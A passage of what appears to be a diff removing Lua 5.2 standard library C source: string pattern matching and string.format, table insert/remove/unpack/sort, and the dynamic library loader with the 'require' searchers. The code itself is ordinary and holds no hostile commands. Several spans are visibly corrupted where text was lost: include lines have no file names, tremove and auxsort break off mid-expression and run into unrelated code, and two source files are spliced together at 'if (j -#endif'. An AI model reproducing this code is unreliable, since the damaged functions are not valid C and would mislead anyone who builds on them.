classend(ms, p); /* points to what is next */ - previous = (s == ms->src_init) ? '\0' : *(s-1); - if (matchbracketclass(uchar(previous), p, ep-1) || - !matchbracketclass(uchar(*s), p, ep-1)) return NULL; - p=ep; goto init; /* else return match(ms, s, ep); */ - } - case '0': case '1': case '2': case '3': - case '4': case '5': case '6': case '7': - case '8': case '9': { /* capture results (%0-%9)? */ - s = match_capture(ms, s, uchar(*(p+1))); - if (s == NULL) return NULL; - p+=2; goto init; /* else return match(ms, s, p+2) */ - } - default: goto dflt; - } - } - default: dflt: { /* pattern class plus optional suffix */ - const char *ep = classend(ms, p); /* points to what is next */ - int m = s < ms->src_end && singlematch(uchar(*s), p, ep); - switch (*ep) { - case '?': { /* optional */ - const char *res; - if (m && ((res=match(ms, s+1, ep+1)) != NULL)) - return res; - p=ep+1; goto init; /* else return match(ms, s, ep+1); */ - } - case '*': { /* 0 or more repetitions */ - return max_expand(ms, s, p, ep); - } - case '+': { /* 1 or more repetitions */ - return (m ? max_expand(ms, s+1, p, ep) : NULL); - } - case '-': { /* 0 or more repetitions (minimum) */ - return min_expand(ms, s, p, ep); - } - default: { - if (!m) return NULL; - s++; p=ep; goto init; /* else return match(ms, s+1, ep); */ - } - } - } - } -} - - - -static const char *lmemfind (const char *s1, size_t l1, - const char *s2, size_t l2) { - if (l2 == 0) return s1; /* empty strings are everywhere */ - else if (l2 > l1) return NULL; /* avoids a negative `l1' */ - else { - const char *init; /* to search for a `*s2' inside `s1' */ - l2--; /* 1st char will be checked by `memchr' */ - l1 = l1-l2; /* `s2' cannot be found after that */ - while (l1 > 0 && (init = (const char *)memchr(s1, *s2, l1)) != NULL) { - init++; /* 1st char is already checked */ - if (memcmp(init, s2+1, l2) == 0) - return init-1; - else { /* correct `l1' and `s1' to try again */ - l1 -= init-s1; - s1 = init; - } - } - return NULL; /* not found */ - } -} - - -static void push_onecapture (MatchState *ms, int i, const char *s, - const char *e) { - if (i >= ms->level) { - if (i == 0) /* ms->level == 0, too */ - lua_pushlstring(ms->L, s, e - s); /* add whole match */ - else - luaL_error(ms->L, "invalid capture index"); - } - else { - ptrdiff_t l = ms->capture[i].len; - if (l == CAP_UNFINISHED) luaL_error(ms->L, "unfinished capture"); - if (l == CAP_POSITION) - lua_pushinteger(ms->L, ms->capture[i].init - ms->src_init + 1); - else - lua_pushlstring(ms->L, ms->capture[i].init, l); - } -} - - -static int push_captures (MatchState *ms, const char *s, const char *e) { - int i; - int nlevels = (ms->level == 0 && s) ? 1 : ms->level; - luaL_checkstack(ms->L, nlevels, "too many captures"); - for (i = 0; i < nlevels; i++) - push_onecapture(ms, i, s, e); - return nlevels; /* number of strings pushed */ -} - - -/* check whether pattern has no special characters */ -static int nospecials (const char *p, size_t l) { - size_t upto = 0; - do { - if (strpbrk(p + upto, SPECIALS)) - return 0; /* pattern has a special character */ - upto += strlen(p + upto) + 1; /* may have more after \0 */ - } while (upto <= l); - return 1; /* no special chars found */ -} - - -static int str_find_aux (lua_State *L, int find) { - size_t ls, lp; - const char *s = luaL_checklstring(L, 1, &ls); - const char *p = luaL_checklstring(L, 2, &lp); - size_t init = posrelat(luaL_optinteger(L, 3, 1), ls); - if (init < 1) init = 1; - else if (init > ls + 1) { /* start after string's end? */ - lua_pushnil(L); /* cannot find anything */ - return 1; - } - /* explicit request or no special characters? */ - if (find && (lua_toboolean(L, 4) || nospecials(p, lp))) { - /* do a plain search */ - const char *s2 = lmemfind(s + init - 1, ls - init + 1, p, lp); - if (s2) { - lua_pushinteger(L, s2 - s + 1); - lua_pushinteger(L, s2 - s + lp); - return 2; - } - } - else { - MatchState ms; - const char *s1 = s + init - 1; - int anchor = (*p == '^'); - if (anchor) { - p++; lp--; /* skip anchor character */ - } - ms.L = L; - ms.src_init = s; - ms.src_end = s + ls; - ms.p_end = p + lp; - do { - const char *res; - ms.level = 0; - if ((res=match(&ms, s1, p)) != NULL) { - if (find) { - lua_pushinteger(L, s1 - s + 1); /* start */ - lua_pushinteger(L, res - s); /* end */ - return push_captures(&ms, NULL, 0) + 2; - } - else - return push_captures(&ms, s1, res); - } - } while (s1++ < ms.src_end && !anchor); - } - lua_pushnil(L); /* not found */ - return 1; -} - - -static int str_find (lua_State *L) { - return str_find_aux(L, 1); -} - - -static int str_match (lua_State *L) { - return str_find_aux(L, 0); -} - - -static int gmatch_aux (lua_State *L) { - MatchState ms; - size_t ls, lp; - const char *s = lua_tolstring(L, lua_upvalueindex(1), &ls); - const char *p = lua_tolstring(L, lua_upvalueindex(2), &lp); - const char *src; - ms.L = L; - ms.src_init = s; - ms.src_end = s+ls; - ms.p_end = p + lp; - for (src = s + (size_t)lua_tointeger(L, lua_upvalueindex(3)); - src <= ms.src_end; - src++) { - const char *e; - ms.level = 0; - if ((e = match(&ms, src, p)) != NULL) { - lua_Integer newstart = e-s; - if (e == src) newstart++; /* empty match? go at least one position */ - lua_pushinteger(L, newstart); - lua_replace(L, lua_upvalueindex(3)); - return push_captures(&ms, src, e); - } - } - return 0; /* not found */ -} - - -static int gmatch (lua_State *L) { - luaL_checkstring(L, 1); - luaL_checkstring(L, 2); - lua_settop(L, 2); - lua_pushinteger(L, 0); - lua_pushcclosure(L, gmatch_aux, 3); - return 1; -} - - -static void add_s (MatchState *ms, luaL_Buffer *b, const char *s, - const char *e) { - size_t l, i; - const char *news = lua_tolstring(ms->L, 3, &l); - for (i = 0; i < l; i++) { - if (news[i] != L_ESC) - luaL_addchar(b, news[i]); - else { - i++; /* skip ESC */ - if (!isdigit(uchar(news[i]))) { - if (news[i] != L_ESC) - luaL_error(ms->L, "invalid use of " LUA_QL("%c") - " in replacement string", L_ESC); - luaL_addchar(b, news[i]); - } - else if (news[i] == '0') - luaL_addlstring(b, s, e - s); - else { - push_onecapture(ms, news[i] - '1', s, e); - luaL_addvalue(b); /* add capture to accumulated result */ - } - } - } -} - - -static void add_value (MatchState *ms, luaL_Buffer *b, const char *s, - const char *e, int tr) { - lua_State *L = ms->L; - switch (tr) { - case LUA_TFUNCTION: { - int n; - lua_pushvalue(L, 3); - n = push_captures(ms, s, e); - lua_call(L, n, 1); - break; - } - case LUA_TTABLE: { - push_onecapture(ms, 0, s, e); - lua_gettable(L, 3); - break; - } - default: { /* LUA_TNUMBER or LUA_TSTRING */ - add_s(ms, b, s, e); - return; - } - } - if (!lua_toboolean(L, -1)) { /* nil or false? */ - lua_pop(L, 1); - lua_pushlstring(L, s, e - s); /* keep original text */ - } - else if (!lua_isstring(L, -1)) - luaL_error(L, "invalid replacement value (a %s)", luaL_typename(L, -1)); - luaL_addvalue(b); /* add result to accumulator */ -} - - -static int str_gsub (lua_State *L) { - size_t srcl, lp; - const char *src = luaL_checklstring(L, 1, &srcl); - const char *p = luaL_checklstring(L, 2, &lp); - int tr = lua_type(L, 3); - size_t max_s = luaL_optinteger(L, 4, srcl+1); - int anchor = (*p == '^'); - size_t n = 0; - MatchState ms; - luaL_Buffer b; - luaL_argcheck(L, tr == LUA_TNUMBER || tr == LUA_TSTRING || - tr == LUA_TFUNCTION || tr == LUA_TTABLE, 3, - "string/function/table expected"); - luaL_buffinit(L, &b); - if (anchor) { - p++; lp--; /* skip anchor character */ - } - ms.L = L; - ms.src_init = src; - ms.src_end = src+srcl; - ms.p_end = p + lp; - while (n < max_s) { - const char *e; - ms.level = 0; - e = match(&ms, src, p); - if (e) { - n++; - add_value(&ms, &b, src, e, tr); - } - if (e && e>src) /* non empty match? */ - src = e; /* skip it */ - else if (src < ms.src_end) - luaL_addchar(&b, *src++); - else break; - if (anchor) break; - } - luaL_addlstring(&b, src, ms.src_end-src); - luaL_pushresult(&b); - lua_pushinteger(L, n); /* number of substitutions */ - return 2; -} - -/* }====================================================== */ - - - -/* -** {====================================================== -** STRING FORMAT -** ======================================================= -*/ - -/* -** LUA_INTFRMLEN is the length modifier for integer conversions in -** 'string.format'; LUA_INTFRM_T is the integer type corresponding to -** the previous length -*/ -#if !defined(LUA_INTFRMLEN) /* { */ -#if defined(LUA_USE_LONGLONG) - -#define LUA_INTFRMLEN "ll" -#define LUA_INTFRM_T long long - -#else - -#define LUA_INTFRMLEN "l" -#define LUA_INTFRM_T long - -#endif -#endif /* } */ - - -/* -** LUA_FLTFRMLEN is the length modifier for float conversions in -** 'string.format'; LUA_FLTFRM_T is the float type corresponding to -** the previous length -*/ -#if !defined(LUA_FLTFRMLEN) - -#define LUA_FLTFRMLEN "" -#define LUA_FLTFRM_T double - -#endif - - -/* maximum size of each formatted item (> len(format('%99.99f', -1e308))) */ -#define MAX_ITEM 512 -/* valid flags in a format specification */ -#define FLAGS "-+ #0" -/* -** maximum size of each format specification (such as '%-099.99d') -** (+10 accounts for %99.99x plus margin of error) -*/ -#define MAX_FORMAT (sizeof(FLAGS) + sizeof(LUA_INTFRMLEN) + 10) - - -static void addquoted (lua_State *L, luaL_Buffer *b, int arg) { - size_t l; - const char *s = luaL_checklstring(L, arg, &l); - luaL_addchar(b, '"'); - while (l--) { - if (*s == '"' || *s == '\\' || *s == '\n') { - luaL_addchar(b, '\\'); - luaL_addchar(b, *s); - } - else if (*s == '\0' || iscntrl(uchar(*s))) { - char buff[10]; - if (!isdigit(uchar(*(s+1)))) - sprintf(buff, "\\%d", (int)uchar(*s)); - else - sprintf(buff, "\\%03d", (int)uchar(*s)); - luaL_addstring(b, buff); - } - else - luaL_addchar(b, *s); - s++; - } - luaL_addchar(b, '"'); -} - -static const char *scanformat (lua_State *L, const char *strfrmt, char *form) { - const char *p = strfrmt; - while (*p != '\0' && strchr(FLAGS, *p) != NULL) p++; /* skip flags */ - if ((size_t)(p - strfrmt) >= sizeof(FLAGS)/sizeof(char)) - luaL_error(L, "invalid format (repeated flags)"); - if (isdigit(uchar(*p))) p++; /* skip width */ - if (isdigit(uchar(*p))) p++; /* (2 digits at most) */ - if (*p == '.') { - p++; - if (isdigit(uchar(*p))) p++; /* skip precision */ - if (isdigit(uchar(*p))) p++; /* (2 digits at most) */ - } - if (isdigit(uchar(*p))) - luaL_error(L, "invalid format (width or precision too long)"); - *(form++) = '%'; - memcpy(form, strfrmt, (p - strfrmt + 1) * sizeof(char)); - form += p - strfrmt + 1; - *form = '\0'; - return p; -} - - -/* -** add length modifier into formats -*/ -static void addlenmod (char *form, const char *lenmod) { - size_t l = strlen(form); - size_t lm = strlen(lenmod); - char spec = form[l - 1]; - strcpy(form + l - 1, lenmod); - form[l + lm - 1] = spec; - form[l + lm] = '\0'; -} - - -static int str_format (lua_State *L) { - int top = lua_gettop(L); - int arg = 1; - size_t sfl; - const char *strfrmt = luaL_checklstring(L, arg, &sfl); - const char *strfrmt_end = strfrmt+sfl; - luaL_Buffer b; - luaL_buffinit(L, &b); - while (strfrmt < strfrmt_end) { - if (*strfrmt != L_ESC) - luaL_addchar(&b, *strfrmt++); - else if (*++strfrmt == L_ESC) - luaL_addchar(&b, *strfrmt++); /* %% */ - else { /* format item */ - char form[MAX_FORMAT]; /* to store the format (`%...') */ - char *buff = luaL_prepbuffsize(&b, MAX_ITEM); /* to put formatted item */ - int nb = 0; /* number of bytes in added item */ - if (++arg > top) - luaL_argerror(L, arg, "no value"); - strfrmt = scanformat(L, strfrmt, form); - switch (*strfrmt++) { - case 'c': { - nb = sprintf(buff, form, luaL_checkint(L, arg)); - break; - } - case 'd': case 'i': { - lua_Number n = luaL_checknumber(L, arg); - LUA_INTFRM_T ni = (LUA_INTFRM_T)n; - lua_Number diff = n - (lua_Number)ni; - luaL_argcheck(L, -1 < diff && diff < 1, arg, - "not a number in proper range"); - addlenmod(form, LUA_INTFRMLEN); - nb = sprintf(buff, form, ni); - break; - } - case 'o': case 'u': case 'x': case 'X': { - lua_Number n = luaL_checknumber(L, arg); - unsigned LUA_INTFRM_T ni = (unsigned LUA_INTFRM_T)n; - lua_Number diff = n - (lua_Number)ni; - luaL_argcheck(L, -1 < diff && diff < 1, arg, - "not a non-negative number in proper range"); - addlenmod(form, LUA_INTFRMLEN); - nb = sprintf(buff, form, ni); - break; - } - case 'e': case 'E': case 'f': -#if defined(LUA_USE_AFORMAT) - case 'a': case 'A': -#endif - case 'g': case 'G': { - addlenmod(form, LUA_FLTFRMLEN); - nb = sprintf(buff, form, (LUA_FLTFRM_T)luaL_checknumber(L, arg)); - break; - } - case 'q': { - addquoted(L, &b, arg); - break; - } - case 's': { - size_t l; - const char *s = luaL_tolstring(L, arg, &l); - if (!strchr(form, '.') && l >= 100) { - /* no precision and string is too long to be formatted; - keep original string */ - luaL_addvalue(&b); - break; - } - else { - nb = sprintf(buff, form, s); - lua_pop(L, 1); /* remove result from 'luaL_tolstring' */ - break; - } - } - default: { /* also treat cases `pnLlh' */ - return luaL_error(L, "invalid option " LUA_QL("%%%c") " to " - LUA_QL("format"), *(strfrmt - 1)); - } - } - luaL_addsize(&b, nb); - } - } - luaL_pushresult(&b); - return 1; -} - -/* }====================================================== */ - - -static const luaL_Reg strlib[] = { - {"byte", str_byte}, - {"char", str_char}, - {"dump", str_dump}, - {"find", str_find}, - {"format", str_format}, - {"gmatch", gmatch}, - {"gsub", str_gsub}, - {"len", str_len}, - {"lower", str_lower}, - {"match", str_match}, - {"rep", str_rep}, - {"reverse", str_reverse}, - {"sub", str_sub}, - {"upper", str_upper}, - {NULL, NULL} -}; - - -static void createmetatable (lua_State *L) { - lua_createtable(L, 0, 1); /* table to be metatable for strings */ - lua_pushliteral(L, ""); /* dummy string */ - lua_pushvalue(L, -2); /* copy table */ - lua_setmetatable(L, -2); /* set table as metatable for strings */ - lua_pop(L, 1); /* pop dummy string */ - lua_pushvalue(L, -2); /* get string library */ - lua_setfield(L, -2, "__index"); /* metatable.__index = string */ - lua_pop(L, 1); /* pop metatable */ -} - - -/* -** Open string library -*/ -LUAMOD_API int luaopen_string (lua_State *L) { - luaL_newlib(L, strlib); - createmetatable(L); - return 1; -} - -/* -** $Id: ltablib.c,v 1.63 2011/11/28 17:26:30 roberto Exp $ -** Library for Table Manipulation -** See Copyright Notice in lua.h -*/ - - -#include - -#define ltablib_c -#define LUA_LIB - - - - -#define aux_getn(L,n) \ - (luaL_checktype(L, n, LUA_TTABLE), luaL_len(L, n)) - - -#if defined(LUA_COMPAT_MAXN) -static int maxn (lua_State *L) { - lua_Number max = 0; - luaL_checktype(L, 1, LUA_TTABLE); - lua_pushnil(L); /* first key */ - while (lua_next(L, 1)) { - lua_pop(L, 1); /* remove value */ - if (lua_type(L, -1) == LUA_TNUMBER) { - lua_Number v = lua_tonumber(L, -1); - if (v > max) max = v; - } - } - lua_pushnumber(L, max); - return 1; -} -#endif - - -static int tinsert (lua_State *L) { - int e = aux_getn(L, 1) + 1; /* first empty element */ - int pos; /* where to insert new element */ - switch (lua_gettop(L)) { - case 2: { /* called with only 2 arguments */ - pos = e; /* insert new element at the end */ - break; - } - case 3: { - int i; - pos = luaL_checkint(L, 2); /* 2nd argument is the position */ - if (pos > e) e = pos; /* `grow' array if necessary */ - for (i = e; i > pos; i--) { /* move up elements */ - lua_rawgeti(L, 1, i-1); - lua_rawseti(L, 1, i); /* t[i] = t[i-1] */ - } - break; - } - default: { - return luaL_error(L, "wrong number of arguments to " LUA_QL("insert")); - } - } - lua_rawseti(L, 1, pos); /* t[pos] = v */ - return 0; -} - - -static int tremove (lua_State *L) { - int e = aux_getn(L, 1); - int pos = luaL_optint(L, 2, e); - if (!(1 <= pos && pos <= e)) /* position is outside bounds? */ - return 0; /* nothing to remove */ - lua_rawgeti(L, 1, pos); /* result = t[pos] */ - for ( ;pos 0) { /* at least one element? */ - int i; - lua_pushvalue(L, 1); - lua_rawseti(L, -2, 1); /* insert first element */ - lua_replace(L, 1); /* move table into index 1 */ - for (i = n; i >= 2; i--) /* assign other elements */ - lua_rawseti(L, 1, i); - } - return 1; /* return table */ -} - - -static int unpack (lua_State *L) { - int i, e, n; - luaL_checktype(L, 1, LUA_TTABLE); - i = luaL_optint(L, 2, 1); - e = luaL_opt(L, luaL_checkint, 3, luaL_len(L, 1)); - if (i > e) return 0; /* empty range */ - n = e - i + 1; /* number of elements */ - if (n <= 0 || !lua_checkstack(L, n)) /* n <= 0 means arith. overflow */ - return luaL_error(L, "too many results to unpack"); - lua_rawgeti(L, 1, i); /* push arg[i] (avoiding overflow problems) */ - while (i++ < e) /* push arg[i + 1...e] */ - lua_rawgeti(L, 1, i); - return n; -} - -/* }====================================================== */ - - - -/* -** {====================================================== -** Quicksort -** (based on `Algorithms in MODULA-3', Robert Sedgewick; -** Addison-Wesley, 1993.) -** ======================================================= -*/ - - -static void set2 (lua_State *L, int i, int j) { - lua_rawseti(L, 1, i); - lua_rawseti(L, 1, j); -} - -static int sort_comp (lua_State *L, int a, int b) { - if (!lua_isnil(L, 2)) { /* function? */ - int res; - lua_pushvalue(L, 2); - lua_pushvalue(L, a-1); /* -1 to compensate function */ - lua_pushvalue(L, b-2); /* -2 to compensate function and `a' */ - lua_call(L, 2, 1); - res = lua_toboolean(L, -1); - lua_pop(L, 1); - return res; - } - else /* a < b? */ - return lua_compare(L, a, b, LUA_OPLT); -} - -static void auxsort (lua_State *L, int l, int u) { - while (l < u) { /* for tail recursion */ - int i, j; - /* sort elements a[l], a[(l+u)/2] and a[u] */ - lua_rawgeti(L, 1, l); - lua_rawgeti(L, 1, u); - if (sort_comp(L, -1, -2)) /* a[u] < a[l]? */ - set2(L, l, u); /* swap a[l] - a[u] */ - else - lua_pop(L, 2); - if (u-l == 1) break; /* only 2 elements */ - i = (l+u)/2; - lua_rawgeti(L, 1, i); - lua_rawgeti(L, 1, l); - if (sort_comp(L, -2, -1)) /* a[i]= P */ - while (lua_rawgeti(L, 1, ++i), sort_comp(L, -1, -2)) { - if (i>=u) luaL_error(L, "invalid order function for sorting"); - lua_pop(L, 1); /* remove a[i] */ - } - /* repeat --j until a[j] <= P */ - while (lua_rawgeti(L, 1, --j), sort_comp(L, -3, -1)) { - if (j<=l) luaL_error(L, "invalid order function for sorting"); - lua_pop(L, 1); /* remove a[j] */ - } - if (j -#endif - - -#include -#include - - -#define loadlib_c -#define LUA_LIB - - - - -/* -** LUA_PATH and LUA_CPATH are the names of the environment -** variables that Lua check to set its paths. -*/ -#if !defined(LUA_PATH) -#define LUA_PATH "LUA_PATH" -#endif - -#if !defined(LUA_CPATH) -#define LUA_CPATH "LUA_CPATH" -#endif - -#define LUA_PATHSUFFIX "_" LUA_VERSION_MAJOR "_" LUA_VERSION_MINOR - -#define LUA_PATHVERSION LUA_PATH LUA_PATHSUFFIX -#define LUA_CPATHVERSION LUA_CPATH LUA_PATHSUFFIX - -/* -** LUA_PATH_SEP is the character that separates templates in a path. -** LUA_PATH_MARK is the string that marks the substitution points in a -** template. -** LUA_EXEC_DIR in a Windows path is replaced by the executable's -** directory. -** LUA_IGMARK is a mark to ignore all before it when building the -** luaopen_ function name. -*/ -#if !defined (LUA_PATH_SEP) -#define LUA_PATH_SEP ";" -#endif -#if !defined (LUA_PATH_MARK) -#define LUA_PATH_MARK "?" -#endif -#if !defined (LUA_EXEC_DIR) -#define LUA_EXEC_DIR "!" -#endif -#if !defined (LUA_IGMARK) -#define LUA_IGMARK "-" -#endif - - -/* -** LUA_CSUBSEP is the character that replaces dots in submodule names -** when searching for a C loader. -** LUA_LSUBSEP is the character that replaces dots in submodule names -** when searching for a Lua loader. -*/ -#if !defined(LUA_CSUBSEP) -#define LUA_CSUBSEP LUA_DIRSEP -#endif - -#if !defined(LUA_LSUBSEP) -#define LUA_LSUBSEP LUA_DIRSEP -#endif - - -/* prefix for open functions in C libraries */ -#define LUA_POF "luaopen_" - -/* separator for open functions in C libraries */ -#define LUA_OFSEP "_" - - -/* table (in the registry) that keeps handles for all loaded C libraries */ -#define CLIBS "_CLIBS" - -#define LIB_FAIL "open" - - -/* error codes for ll_loadfunc */ -#define ERRLIB 1 -#define ERRFUNC 2 - -#define setprogdir(L) ((void)0) - - -/* -** system-dependent functions -*/ -static void ll_unloadlib (void *lib); -static void *ll_load (lua_State *L, const char *path, int seeglb); -static lua_CFunction ll_sym (lua_State *L, void *lib, const char *sym); - - - -#if defined(LUA_USE_DLOPEN) -/* -** {======================================================================== -** This is an implementation of loadlib based on the dlfcn interface. -** The dlfcn interface is available in Linux, SunOS, Solaris, IRIX, FreeBSD, -** NetBSD, AIX 4.2, HPUX 11, and probably most other Unix flavors, at least -** as an emulation layer on top of native functions. -** ========================================================================= -*/ - -#include - -static void ll_unloadlib (void *lib) { - dlclose(lib); -} - - -static void *ll_load (lua_State *L, const char *path, int seeglb) { - void *lib = dlopen(path, RTLD_NOW | (seeglb ? RTLD_GLOBAL : RTLD_LOCAL)); - if (lib == NULL) lua_pushstring(L, dlerror()); - return lib; -} - - -static lua_CFunction ll_sym (lua_State *L, void *lib, const char *sym) { - lua_CFunction f = (lua_CFunction)dlsym(lib, sym); - if (f == NULL) lua_pushstring(L, dlerror()); - return f; -} - -/* }====================================================== */ - - - -#elif defined(LUA_DL_DLL) -/* -** {====================================================================== -** This is an implementation of loadlib for Windows using native functions. -** ======================================================================= -*/ - -#undef setprogdir - -/* -** optional flags for LoadLibraryEx -*/ -#if !defined(LUA_LLE_FLAGS) -#define LUA_LLE_FLAGS 0 -#endif - - -static void setprogdir (lua_State *L) { - char buff[MAX_PATH + 1]; - char *lb; - DWORD nsize = sizeof(buff)/sizeof(char); - DWORD n = GetModuleFileNameA(NULL, buff, nsize); - if (n == 0 || n == nsize || (lb = strrchr(buff, '\\')) == NULL) - luaL_error(L, "unable to get ModuleFileName"); - else { - *lb = '\0'; - luaL_gsub(L, lua_tostring(L, -1), LUA_EXEC_DIR, buff); - lua_remove(L, -2); /* remove original string */ - } -} - - -static void pusherror (lua_State *L) { - int error = GetLastError(); - char buffer[128]; - if (FormatMessageA(FORMAT_MESSAGE_IGNORE_INSERTS | FORMAT_MESSAGE_FROM_SYSTEM, - NULL, error, 0, buffer, sizeof(buffer)/sizeof(char), NULL)) - lua_pushstring(L, buffer); - else - lua_pushfstring(L, "system error %d\n", error); -} - -static void ll_unloadlib (void *lib) { - FreeLibrary((HMODULE)lib); -} - - -static void *ll_load (lua_State *L, const char *path, int seeglb) { - HMODULE lib = LoadLibraryExA(path, NULL, LUA_LLE_FLAGS); - (void)(seeglb); /* not used: symbols are 'global' by default */ - if (lib == NULL) pusherror(L); - return lib; -} - - -static lua_CFunction ll_sym (lua_State *L, void *lib, const char *sym) { - lua_CFunction f = (lua_CFunction)GetProcAddress((HMODULE)lib, sym); - if (f == NULL) pusherror(L); - return f; -} - -/* }====================================================== */ - - -#else -/* -** {====================================================== -** Fallback for other systems -** ======================================================= -*/ - -#undef LIB_FAIL -#define LIB_FAIL "absent" - - -#define DLMSG "dynamic libraries not enabled; check your Lua installation" - - -static void ll_unloadlib (void *lib) { - (void)(lib); /* not used */ -} - - -static void *ll_load (lua_State *L, const char *path, int seeglb) { - (void)(path); (void)(seeglb); /* not used */ - lua_pushliteral(L, DLMSG); - return NULL; -} - - -static lua_CFunction ll_sym (lua_State *L, void *lib, const char *sym) { - (void)(lib); (void)(sym); /* not used */ - lua_pushliteral(L, DLMSG); - return NULL; -} - -/* }====================================================== */ -#endif - - -static void *ll_checkclib (lua_State *L, const char *path) { - void *plib; - lua_getfield(L, LUA_REGISTRYINDEX, CLIBS); - lua_getfield(L, -1, path); - plib = lua_touserdata(L, -1); /* plib = CLIBS[path] */ - lua_pop(L, 2); /* pop CLIBS table and 'plib' */ - return plib; -} - - -static void ll_addtoclib (lua_State *L, const char *path, void *plib) { - lua_getfield(L, LUA_REGISTRYINDEX, CLIBS); - lua_pushlightuserdata(L, plib); - lua_pushvalue(L, -1); - lua_setfield(L, -3, path); /* CLIBS[path] = plib */ - lua_rawseti(L, -2, luaL_len(L, -2) + 1); /* CLIBS[#CLIBS + 1] = plib */ - lua_pop(L, 1); /* pop CLIBS table */ -} - - -/* -** __gc tag method for CLIBS table: calls 'll_unloadlib' for all lib -** handles in list CLIBS -*/ -static int gctm (lua_State *L) { - int n = luaL_len(L, 1); - for (; n >= 1; n--) { /* for each handle, in reverse order */ - lua_rawgeti(L, 1, n); /* get handle CLIBS[n] */ - ll_unloadlib(lua_touserdata(L, -1)); - lua_pop(L, 1); /* pop handle */ - } - return 0; -} - - -static int ll_loadfunc (lua_State *L, const char *path, const char *sym) { - void *reg = ll_checkclib(L, path); /* check loaded C libraries */ - if (reg == NULL) { /* must load library? */ - reg = ll_load(L, path, *sym == '*'); - if (reg == NULL) return ERRLIB; /* unable to load library */ - ll_addtoclib(L, path, reg); - } - if (*sym == '*') { /* loading only library (no function)? */ - lua_pushboolean(L, 1); /* return 'true' */ - return 0; /* no errors */ - } - else { - lua_CFunction f = ll_sym(L, reg, sym); - if (f == NULL) - return ERRFUNC; /* unable to find function */ - lua_pushcfunction(L, f); /* else create new function */ - return 0; /* no errors */ - } -} - - -static int ll_loadlib (lua_State *L) { - const char *path = luaL_checkstring(L, 1); - const char *init = luaL_checkstring(L, 2); - int stat = ll_loadfunc(L, path, init); - if (stat == 0) /* no errors? */ - return 1; /* return the loaded function */ - else { /* error; error message is on stack top */ - lua_pushnil(L); - lua_insert(L, -2); - lua_pushstring(L, (stat == ERRLIB) ? LIB_FAIL : "init"); - return 3; /* return nil, error message, and where */ - } -} - - - -/* -** {====================================================== -** 'require' function -** ======================================================= -*/ - - -static int readable (const char *filename) { - FILE *f = fopen(filename, "r"); /* try to open file */ - if (f == NULL) return 0; /* open failed */ - fclose(f); - return 1; -} - - -static const char *pushnexttemplate (lua_State *L, const char *path) { - const char *l; - while (*path == *LUA_PATH_SEP) path++; /* skip separators */ - if (*path == '\0') return NULL; /* no more templates */ - l = strchr(path, *LUA_PATH_SEP); /* find next separator */ - if (l == NULL) l = path + strlen(path); - lua_pushlstring(L, path, l - path); /* template */ - return l; -} - - -static const char *searchpath (lua_State *L, const char *name, - const char *path, - const char *sep, - const char *dirsep) { - luaL_Buffer msg; /* to build error message */ - luaL_buffinit(L, &msg); - if (*sep != '\0') /* non-empty separator? */ - name = luaL_gsub(L, name, sep, dirsep); /* replace it by 'dirsep' */ - while ((path = pushnexttemplate(L, path)) != NULL) { - const char *filename = luaL_gsub(L, lua_tostring(L, -1), - LUA_PATH_MARK, name); - lua_remove(L, -2); /* remove path template */ - if (readable(filename)) /* does file exist and is readable? */ - return filename; /* return that file name */ - lua_pushfstring(L, "\n\tno file " LUA_QS, filename); - lua_remove(L, -2); /* remove file name */ - luaL_addvalue(&msg); /* concatenate error msg. entry */ - } - luaL_pushresult(&msg); /* create error message */ - return NULL; /* not found */ -} - - -static int ll_searchpath (lua_State *L) { - const char *f = searchpath(L, luaL_checkstring(L, 1), - luaL_checkstring(L, 2), - luaL_optstring(L, 3, "."), - luaL_optstring(L, 4, LUA_DIRSEP)); - if (f != NULL) return 1; - else { /* error message is on top of the stack */ - lua_pushnil(L); - lua_insert(L, -2); - return 2; /* return nil + error message */ - } -} - - -static const char *findfile (lua_State *L, const char *name, - const char *pname, - const char *dirsep) { - const char *path; - lua_getfield(L, lua_upvalueindex(1), pname); - path = lua_tostring(L, -1); - if (path == NULL) - luaL_error(L, LUA_QL("package.%s") " must be a string", pname); - return searchpath(L, name, path, ".", dirsep); -} - - -static int checkload (lua_State *L, int stat, const char *filename) { - if (stat) { /* module loaded successfully? */ - lua_pushstring(L, filename); /* will be 2nd argument to module */ - return 2; /* return open function and file name */ - } - else - return luaL_error(L, "error loading module " LUA_QS - " from file " LUA_QS ":\n\t%s", - lua_tostring(L, 1), filename, lua_tostring(L, -1)); -} - - -static int searcher_Lua (lua_State *L) { - const char *filename; - const char *name = luaL_checkstring(L, 1); - filename = findfile(L, name, "path", LUA_LSUBSEP); - if (filename == NULL) return 1; /* module not found in this path */ - return checkload(L, (luaL_loadfile(L, filename) == LUA_OK), filename); -} - - -static int loadfunc (lua_State *L, const char *filename, const char *modname) { - const char *funcname; - const char *mark; - modname = luaL_gsub(L, modname, ".", LUA_OFSEP); - mark = strchr(modname, *LUA_IGMARK); - if (mark) { - int stat; - funcname = lua_pushlstring(L, modname, mark - modname); - funcname = lua_pushfstring(L, LUA_POF"%s", funcname); - stat = ll_loadfunc(L, filename, funcname); - if (stat != ERRFUNC) return stat; - modname = mark + 1; /* else go ahead and try old-style name */ - } - funcname = lua_pushfstring(L, LUA_POF"%s", modname); - return ll_loadfunc(L, filename, funcname); -} - - -static int searcher_C (lua_State *L) { - const char *name = luaL_checkstring(L, 1); - const char *filename = findfile(L, name, "cpath", LUA_CSUBSEP); - if (filename == NULL) return 1; /* module not found in this path */ - return checkload(L, (loadfunc(L, filename, name) == 0), filename); -} - - -static int searcher_Croot (lua_State *L) { - const char *filename; - const char *name = luaL_checkstring(L, 1); - const char *p = strchr(name, '.'); - int stat; - if (p == NULL) return 0; /* is root */ - lua_pushlstring(L, name, p - name); - filename = findfile(L, lua_tostring(L, -1), "cpath", LUA_CSUBSEP); - if (filename == NULL) return 1; /* root not found */ - if ((stat = loadfunc(L, filename, name)) != 0) { - if (stat != ERRFUNC) - return checkload(L, 0, filename); /* real error */ - else { /* open function not found */ - lua_pushfstring(L, "\n\tno module " LUA_QS " in file " LUA_QS, - name, filename); - return 1; - } - } - lua_pushstring(L, filename); /* will be 2nd argument to module */ - return 2; -} - - -static int searcher_preload (lua_State *L) { - const char *name = luaL_checkstring(L, 1); - lua_getfield(L, LUA_REGISTRYINDEX, "_PRELOAD"); - lua_getfield(L, -1, name); - if (lua_isnil(L, -1)) /* not found? */ - lua_pushfstring(L, "\n\tno field package.preload['%s']", name); - return 1; -} - - -static void findloader (lua_State *L, const char *name) { - int i; - luaL_Buffer msg; /* to build error message */ - luaL_buffinit(L, &msg); - lua_getfield(L, lua_upvalueindex(1), "searchers"); /* will be at index 3 */ - if 